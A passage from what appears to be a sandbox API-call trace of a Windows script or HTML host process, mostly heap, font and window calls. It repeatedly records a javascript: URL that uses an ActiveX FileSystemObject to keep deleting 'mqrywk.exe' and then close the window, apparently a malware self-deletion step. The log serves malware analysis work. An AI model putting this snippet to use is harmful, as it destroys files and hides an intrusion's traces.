lpMem=0x7ac770 | out: hHeap=0x750000) returned 1 [0033.351] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x793498 | out: hHeap=0x750000) returned 1 [0033.352] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7931e0 | out: hHeap=0x750000) returned 1 [0033.352] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7ba5a0 | out: hHeap=0x750000) returned 1 [0033.352] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7ac790 | out: hHeap=0x750000) returned 1 [0033.352] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x793318 | out: hHeap=0x750000) returned 1 [0033.352] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.352] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.352] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.352] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.352] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x77b8f0 | out: hHeap=0x750000) returned 1 [0033.352] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.352] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.352] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x793388 | out: hHeap=0x750000) returned 1 [0033.352] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78f9a0 | out: hHeap=0x750000) returned 1 [0033.352] GetCurrentThreadId () returned 0x10c [0033.352] GetCurrentThreadId () returned 0x10c [0033.352] GetCurrentThreadId () returned 0x10c [0033.352] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xc) returned 0x77b8f0 [0033.352] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x64) returned 0x7a2b48 [0033.354] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xec) returned 0x795508 [0033.354] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.354] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.356] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0xdc) returned 0x7ad340 [0033.356] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x30) returned 0x76d958 [0033.356] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x250) returned 0x795600 [0033.356] LsGetRubyLsimethods () returned 0x0 [0033.356] LsGetTatenakayokoLsimethods () returned 0x0 [0033.356] LsGetHihLsimethods () returned 0x0 [0033.356] LsGetWarichuLsimethods () returned 0x0 [0033.356] LsGetReverseLsimethods () returned 0x0 [0033.356] LsCreateContext () returned 0x0 [0033.356] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x670) returned 0x793e50 [0033.357] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x24) returned 0x793668 [0033.357] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x110) returned 0x7a95e8 [0033.357] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x24) returned 0x793a58 [0033.357] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x2e4) returned 0x793178 [0033.357] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x20) returned 0x780158 [0033.357] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x20) returned 0x7801a8 [0033.357] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa0) returned 0x7b3c60 [0033.357] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x40) returned 0x79e0e8 [0033.357] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x20) returned 0x7801d0 [0033.357] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x20) returned 0x7b1f38 [0033.357] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x20) returned 0x7b2230 [0033.357] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x20) returned 0x7b2258 [0033.357] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x400) returned 0x7baa40 [0033.357] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x8) returned 0x7a1390 [0033.357] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x8) returned 0x7a13b0 [0033.357] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x8) returned 0x7a13c0 [0033.357] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x8) returned 0x7a13d0 [0033.357] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x128) returned 0x7bae48 [0033.357] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x11c) returned 0x795858 [0033.358] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x108) returned 0x793468 [0033.358] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x130) returned 0x7944c8 [0033.358] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x110) returned 0x7a9700 [0033.358] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x278) returned 0x794600 [0033.358] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xc8) returned 0x793578 [0033.358] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x190) returned 0x794880 [0033.358] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x78) returned 0x762138 [0033.358] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xf0) returned 0x794a18 [0033.358] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x4c) returned 0x78f9a0 [0033.358] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x194) returned 0x794b10 [0033.358] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xc8) returned 0x794cb0 [0033.358] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x190) returned 0x794d80 [0033.358] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x108) returned 0x78a848 [0033.358] LsSetModWidthPairs () returned 0x0 [0033.358] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x240) returned 0x78a958 [0033.358] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x18) returned 0x7ac790 [0033.358] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x20) returned 0x7b2280 [0033.359] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x10) returned 0x77b608 [0033.359] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x2e0) returned 0x78aba0 [0033.359] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x24) returned 0x793a88 [0033.359] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xc0) returned 0x78ae88 [0033.359] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xc0) returned 0x78af50 [0033.359] LsSetBreaking () returned 0x0 [0033.359] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x271) returned 0x78b018 [0033.359] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x77b968 [0033.359] LsSetDoc () returned 0x0 [0033.359] IBindStatusCallback:OnLowResource (This=0x7a1390, reserved=0x793ffc) returned 0x0 [0033.360] IBindStatusCallback:OnLowResource (This=0x7a13b0, reserved=0x793ffc) returned 0x0 [0033.360] IBindStatusCallback:OnLowResource (This=0x7a13c0, reserved=0x793ffc) returned 0x0 [0033.360] IBindStatusCallback:OnLowResource (This=0x7a13d0, reserved=0x793ffc) returned 0x0 [0033.360] LsCreateLine () returned 0x0 [0033.360] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.360] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0xb4) returned 0x78b298 [0033.360] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0xf8) returned 0x78b358 [0033.360] EnumFontsW (hdc=0x61010818, lpLogfont="Times New Roman", lpProc=0x734a0b47, lParam=0x40ead4) returned 1 [0033.361] CreateFontIndirectW (lplf=0x40ea70) returned 0x730a06b8 [0033.361] SelectObject (hdc=0x61010818, h=0x730a06b8) returned 0x18a002e [0033.361] GetTextMetricsW (in: hdc=0x61010818, lptm=0x40e9d8 | out: lptm=0x40e9d8) returned 1 [0033.368] GetOutlineTextMetricsW (in: hdc=0x61010818, cjCopy=0xd8, potm=0x40e8d8 | out: potm=0x40e8d8) returned 0xd8 [0033.369] SelectObject (hdc=0x61010818, h=0x18a002e) returned 0x730a06b8 [0033.369] SelectObject (hdc=0x61010818, h=0x730a06b8) returned 0x18a002e [0033.369] GetTextFaceW (in: hdc=0x61010818, c=32, lpName=0x40eb28 | out: lpName="Times New Roman") returned 16 [0033.369] SelectObject (hdc=0x61010818, h=0x18a002e) returned 0x730a06b8 [0033.369] SelectObject (hdc=0x61010818, h=0x730a06b8) returned 0x18a002e [0033.369] GetTextCharsetInfo (in: hdc=0x61010818, lpSig=0x40ea90, dwFlags=0x0 | out: lpSig=0x40ea90) returned 0 [0033.369] SelectObject (hdc=0x61010818, h=0x18a002e) returned 0x730a06b8 [0033.369] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0xc) returned 0x77b638 [0033.369] SelectObject (hdc=0x61010818, h=0x730a06b8) returned 0x18a002e [0033.369] GetFontUnicodeRanges (in: hdc=0x61010818, lpgs=0x0 | out: lpgs=0x0) returned 0x27c [0033.369] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.369] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x27c) returned 0x78bb18 [0033.369] GetFontUnicodeRanges (in: hdc=0x61010818, lpgs=0x78bb18 | out: lpgs=0x78bb18) returned 0x27c [0033.369] SelectObject (hdc=0x61010818, h=0x18a002e) returned 0x730a06b8 [0033.369] SelectObject (hdc=0x61010818, h=0x730a06b8) returned 0x18a002e [0033.369] GetCharWidth32W (in: hdc=0x61010818, iFirst=0x20, iLast=0x7e, lpBuffer=0x40ea68 | out: lpBuffer=0x40ea68) returned 1 [0033.371] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x17c) returned 0x78bda0 [0033.371] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x800) returned 0x78bf28 [0033.371] SelectObject (hdc=0x61010818, h=0x18a002e) returned 0x730a06b8 [0033.372] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0xb4) returned 0x78c730 [0033.372] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0xb4) returned 0x795990 [0033.372] LsQueryLineDup () returned 0x0 [0033.372] LsDestroyLine () returned 0x0 [0033.372] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.372] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x60) returned 0x7a1730 [0033.372] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x40) returned 0x79e130 [0033.372] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78aba0 | out: hHeap=0x750000) returned 1 [0033.373] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.373] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.373] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.373] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.373] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.373] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.373] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.373] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.373] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.373] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.373] IntersectRect (in: lprcDst=0x40f8ac, lprcSrc1=0x40f8ac, lprcSrc2=0x40f87c | out: lprcDst=0x40f8ac) returned 1 [0033.373] IntersectRect (in: lprcDst=0x79af10, lprcSrc1=0x79af10, lprcSrc2=0x40f89c | out: lprcDst=0x79af10) returned 1 [0033.373] IntersectRect (in: lprcDst=0x79af10, lprcSrc1=0x79af10, lprcSrc2=0x40f8bc | out: lprcDst=0x79af10) returned 1 [0033.373] IntersectRect (in: lprcDst=0x40f56c, lprcSrc1=0x40f56c, lprcSrc2=0x40f53c | out: lprcDst=0x40f56c) returned 1 [0033.373] IntersectRect (in: lprcDst=0x79af10, lprcSrc1=0x79af10, lprcSrc2=0x40f55c | out: lprcDst=0x79af10) returned 1 [0033.373] IntersectRect (in: lprcDst=0x79af10, lprcSrc1=0x79af10, lprcSrc2=0x40f57c | out: lprcDst=0x79af10) returned 1 [0033.373] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.373] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.373] IntersectRect (in: lprcDst=0x40f480, lprcSrc1=0x40f480, lprcSrc2=0x79af00 | out: lprcDst=0x40f480) returned 1 [0033.373] UnionRect (in: lprcDst=0x40f788, lprcSrc1=0x40f788, lprcSrc2=0x40f734 | out: lprcDst=0x40f788) returned 1 [0033.373] IntersectRect (in: lprcDst=0x40f720, lprcSrc1=0x40f720, lprcSrc2=0x40f6b8 | out: lprcDst=0x40f720) returned 1 [0033.373] IntersectRect (in: lprcDst=0x40f630, lprcSrc1=0x40f630, lprcSrc2=0x40f6b8 | out: lprcDst=0x40f630) returned 1 [0033.373] IntersectRect (in: lprcDst=0x40f6c8, lprcSrc1=0x40f6c8, lprcSrc2=0x40f630 | out: lprcDst=0x40f6c8) returned 1 [0033.373] IntersectRect (in: lprcDst=0x40f720, lprcSrc1=0x40f720, lprcSrc2=0x40f6b8 | out: lprcDst=0x40f720) returned 1 [0033.373] IntersectRect (in: lprcDst=0x40f720, lprcSrc1=0x40f720, lprcSrc2=0x40f6b8 | out: lprcDst=0x40f720) returned 1 [0033.373] IntersectRect (in: lprcDst=0x40f630, lprcSrc1=0x40f630, lprcSrc2=0x40f6b8 | out: lprcDst=0x40f630) returned 1 [0033.373] IntersectRect (in: lprcDst=0x40f6c8, lprcSrc1=0x40f6c8, lprcSrc2=0x40f630 | out: lprcDst=0x40f6c8) returned 1 [0033.373] IntersectRect (in: lprcDst=0x40f720, lprcSrc1=0x40f720, lprcSrc2=0x40f6b8 | out: lprcDst=0x40f720) returned 1 [0033.373] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.373] UnionRect (in: lprcDst=0x40fac8, lprcSrc1=0x40fac8, lprcSrc2=0x40fa74 | out: lprcDst=0x40fac8) returned 1 [0033.373] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x28) returned 0x793ab8 [0033.373] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x793ab8 | out: hHeap=0x750000) returned 1 [0033.373] RedrawWindow (hWnd=0x30266, lprcUpdate=0x40fb48, hrgnUpdate=0x0, flags=0x21) returned 1 [0033.374] GetFocus () returned 0x30266 [0033.374] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x8) returned 0x7a13e0 [0033.374] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x4) returned 0x7a13f0 [0033.374] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x28) returned 0x793ab8 [0033.374] GetFocus () returned 0x30266 [0033.374] ScreenToClient (in: hWnd=0x30266, lpPoint=0x40f7f0 | out: lpPoint=0x40f7f0) returned 1 [0033.374] GetCapture () returned 0x0 [0033.374] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x28) returned 0x793ae8 [0033.374] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x30) returned 0x76d920 [0033.374] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x28) returned 0x793b18 [0033.375] GetCurrentThreadId () returned 0x10c [0033.375] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x76d920 | out: hHeap=0x750000) returned 1 [0033.375] GetCurrentThreadId () returned 0x10c [0033.375] GetCurrentThreadId () returned 0x10c [0033.375] GetFocus () returned 0x30266 [0033.375] ScreenToClient (in: hWnd=0x30266, lpPoint=0x40f7f0 | out: lpPoint=0x40f7f0) returned 1 [0033.375] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x30) returned 0x76d920 [0033.375] GetCurrentThreadId () returned 0x10c [0033.375] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x76d920 | out: hHeap=0x750000) returned 1 [0033.375] GetCurrentThreadId () returned 0x10c [0033.375] GetCurrentThreadId () returned 0x10c [0033.375] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x79f8f0, Size=0x6c) returned 0x78aba0 [0033.376] ScreenToClient (in: hWnd=0x30266, lpPoint=0x40f7f0 | out: lpPoint=0x40f7f0) returned 1 [0033.376] GetCapture () returned 0x0 [0033.376] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x30) returned 0x76d920 [0033.376] GetCurrentThreadId () returned 0x10c [0033.376] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x76d920 | out: hHeap=0x750000) returned 1 [0033.376] GetCurrentThreadId () returned 0x10c [0033.376] GetCurrentThreadId () returned 0x10c [0033.376] ScreenToClient (in: hWnd=0x30266, lpPoint=0x40f7f0 | out: lpPoint=0x40f7f0) returned 1 [0033.377] GetCapture () returned 0x0 [0033.377] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x30) returned 0x76d920 [0033.377] GetCurrentThreadId () returned 0x10c [0033.377] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x76d920 | out: hHeap=0x750000) returned 1 [0033.377] GetCurrentThreadId () returned 0x10c [0033.377] GetCurrentThreadId () returned 0x10c [0033.377] ScreenToClient (in: hWnd=0x30266, lpPoint=0x40f7f0 | out: lpPoint=0x40f7f0) returned 1 [0033.377] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x30) returned 0x76d920 [0033.377] GetCurrentThreadId () returned 0x10c [0033.378] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x76d920 | out: hHeap=0x750000) returned 1 [0033.378] GetCurrentThreadId () returned 0x10c [0033.378] GetCurrentThreadId () returned 0x10c [0033.378] ScreenToClient (in: hWnd=0x30266, lpPoint=0x40f7f0 | out: lpPoint=0x40f7f0) returned 1 [0033.378] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x30) returned 0x76d920 [0033.378] GetCurrentThreadId () returned 0x10c [0033.378] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x76d920 | out: hHeap=0x750000) returned 1 [0033.378] GetCurrentThreadId () returned 0x10c [0033.378] GetCurrentThreadId () returned 0x10c [0033.378] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x78aba0, Size=0x9c) returned 0x78aba0 [0033.378] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x793b18 | out: hHeap=0x750000) returned 1 [0033.378] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7a13e0 | out: hHeap=0x750000) returned 1 [0033.378] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x793ae8 | out: hHeap=0x750000) returned 1 [0033.378] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7a13f0 | out: hHeap=0x750000) returned 1 [0033.378] GetCurrentThreadId () returned 0x10c [0033.379] GetFocus () returned 0x30266 [0033.379] GetFocus () returned 0x30266 [0033.379] ParseURLW (in: pcszURL="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);", ppu=0x40fb40 | out: ppu=0x40fb40) returned 0x0 [0033.380] IUnknown:AddRef (This=0x77c424) returned 0x4 [0033.380] IUri:GetAbsoluteUri (in: This=0x77c424, pbstrAbsoluteUri=0x40fbc0 | out: pbstrAbsoluteUri=0x40fbc0*="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);") returned 0x0 [0033.380] IUnknown:Release (This=0x77c424) returned 0x3 [0033.380] GetProcAddress (hModule=0x769d0000, lpProcName=0x2) returned 0x769d4642 [0033.381] ShouldShowIntranetWarningSecband () returned 0x0 [0033.384] DllGetClassObject (in: rclsid=0x7819f4*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x75054430*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x40f464 | out: ppv=0x40f464*=0x73888d20) returned 0x0 [0033.384] IUnknown:QueryInterface (in: This=0x73888d20, riid=0x7507aadc*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x40f550 | out: ppvObject=0x40f550*=0x73888d2c) returned 0x0 [0033.384] IUnknown:Release (This=0x73888d20) returned 0x1 [0033.384] IInternetProtocolInfo:ParseUrl (in: This=0x73888d2c, pwzUrl="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);", ParseAction=3, dwParseFlags=0x0, pwzResult=0x797aa8, cchResult=0x8c, pcchResult=0x40f598, dwReserved=0x0 | out: pwzResult="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);", pcchResult=0x40f598*=0x8c) returned 0x0 [0033.384] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x11c) returned 0x795e90 [0033.384] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x795e90 | out: hHeap=0x750000) returned 1 [0033.384] IUnknown:Release (This=0x73888d2c) returned 0x1 [0033.385] DllGetClassObject (in: rclsid=0x7819f4*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x75054430*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x40f464 | out: ppv=0x40f464*=0x73888d20) returned 0x0 [0033.385] IUnknown:QueryInterface (in: This=0x73888d20, riid=0x7507aadc*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x40f550 | out: ppvObject=0x40f550*=0x73888d2c) returned 0x0 [0033.385] IUnknown:Release (This=0x73888d20) returned 0x1 [0033.385] IInternetProtocolInfo:ParseUrl (in: This=0x73888d2c, pwzUrl="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);", ParseAction=17, dwParseFlags=0x0, pwzResult=0x797aa8, cchResult=0x8c, pcchResult=0x40f5a8, dwReserved=0x0 | out: pwzResult="", pcchResult=0x40f5a8*=0x0) returned 0x800c0011 [0033.385] IUnknown:Release (This=0x73888d2c) returned 0x1 [0033.385] GetIUriPriv () returned 0x0 [0033.385] IUnknown:Release (This=0x77c424) returned 0x3 [0033.385] ScreenToClient (in: hWnd=0x30266, lpPoint=0x40f9b8 | out: lpPoint=0x40f9b8) returned 1 [0033.385] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x30) returned 0x76d920 [0033.386] GetCurrentThreadId () returned 0x10c [0033.386] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x76d920 | out: hHeap=0x750000) returned 1 [0033.386] GetCurrentThreadId () returned 0x10c [0033.386] GetCurrentThreadId () returned 0x10c [0033.386] GetFocus () returned 0x30266 [0033.386] ScreenToClient (in: hWnd=0x30266, lpPoint=0x40fb28 | out: lpPoint=0x40fb28) returned 1 [0033.386] GetClientRect (in: hWnd=0x30266, lpRect=0x40fb18 | out: lpRect=0x40fb18) returned 1 [0033.386] PostMessageW (hWnd=0x30266, Msg=0x20, wParam=0x266, lParam=0x1) returned 1 [0033.386] LoadStringW (in: hInstance=0x72760000, uID=0x1fe9, lpBuffer=0x40f7b0, cchBufferMax=512 | out: lpBuffer="Done") returned 0x4 [0033.386] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x797bd0 | out: hHeap=0x750000) returned 1 [0033.386] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7ba7b8 | out: hHeap=0x750000) returned 1 [0033.387] IUnknown:AddRef (This=0x77c424) returned 0x4 [0033.387] IUri:GetScheme (in: This=0x77c424, pdwScheme=0x40ec3c | out: pdwScheme=0x40ec3c*=0xf) returned 0x0 [0033.387] IUri:GetDisplayUri (in: This=0x77c424, pbstrDisplayString=0x40ec48 | out: pbstrDisplayString=0x40ec48*="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);") returned 0x0 [0033.387] GetWindowTextW (in: hWnd=0x30270, lpString=0x40e7e8, nMaxCount=512 | out: lpString="") returned 0 [0033.387] NtdllDefWindowProc_W () returned 0x0 [0033.387] SetWindowTextW (hWnd=0x30270, lpString="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);") returned 1 [0033.387] NtdllDefWindowProc_W () returned 0x1 [0033.387] IUnknown:Release (This=0x77c424) returned 0x3 [0033.387] LoadIconW (hInstance=0x0, lpIconName=0x7f00) returned 0x10027 [0033.387] SendMessageW (hWnd=0x50134, Msg=0x80, wParam=0x1, lParam=0x10027) returned 0x0 [0033.387] NtdllDefWindowProc_W () returned 0x0 [0033.388] NtdllDefWindowProc_W () returned 0x0 [0033.389] NtdllDefWindowProc_W () returned 0x0 [0033.389] SendMessageW (hWnd=0x30270, Msg=0x80, wParam=0x0, lParam=0x10027) returned 0x0 [0033.389] NtdllDefWindowProc_W () returned 0x0 [0033.389] SetWindowLongW (hWnd=0x30270, nIndex=-16, dwNewLong=-2100363264) returned -2033254400 [0033.389] NtdllDefWindowProc_W () returned 0x0 [0033.390] NtdllDefWindowProc_W () returned 0x0 [0033.404] NtdllDefWindowProc_W () returned 0x10027 [0033.404] SetWindowLongW (hWnd=0x30270, nIndex=-20, dwNewLong=262144) returned 262400 [0033.404] NtdllDefWindowProc_W () returned 0x0 [0033.405] NtdllDefWindowProc_W () returned 0x0 [0033.405] SetWindowPos (hWnd=0x30270, hWndInsertAfter=0xfffffffe, X=0, Y=0, cx=0, cy=0, uFlags=0x37) returned 1 [0033.405] NtdllDefWindowProc_W () returned 0x0 [0033.405] NtdllDefWindowProc_W () returned 0x0 [0033.405] NtdllDefWindowProc_W () returned 0x0 [0033.406] GlobalAddAtomW (lpString=0x0) returned 0x0 [0033.406] SetPropW (hWnd=0x50134, lpString=0x0, hData=0x50134) returned 0 [0033.406] ShowWindow (hWnd=0x30270, nCmdShow=0) returned 0 [0033.406] UpdateWindow (hWnd=0x30270) returned 1 [0033.406] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.406] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.406] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.406] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.406] HeapFree (in: hHeap=0x750000, dwFlags=0x0, 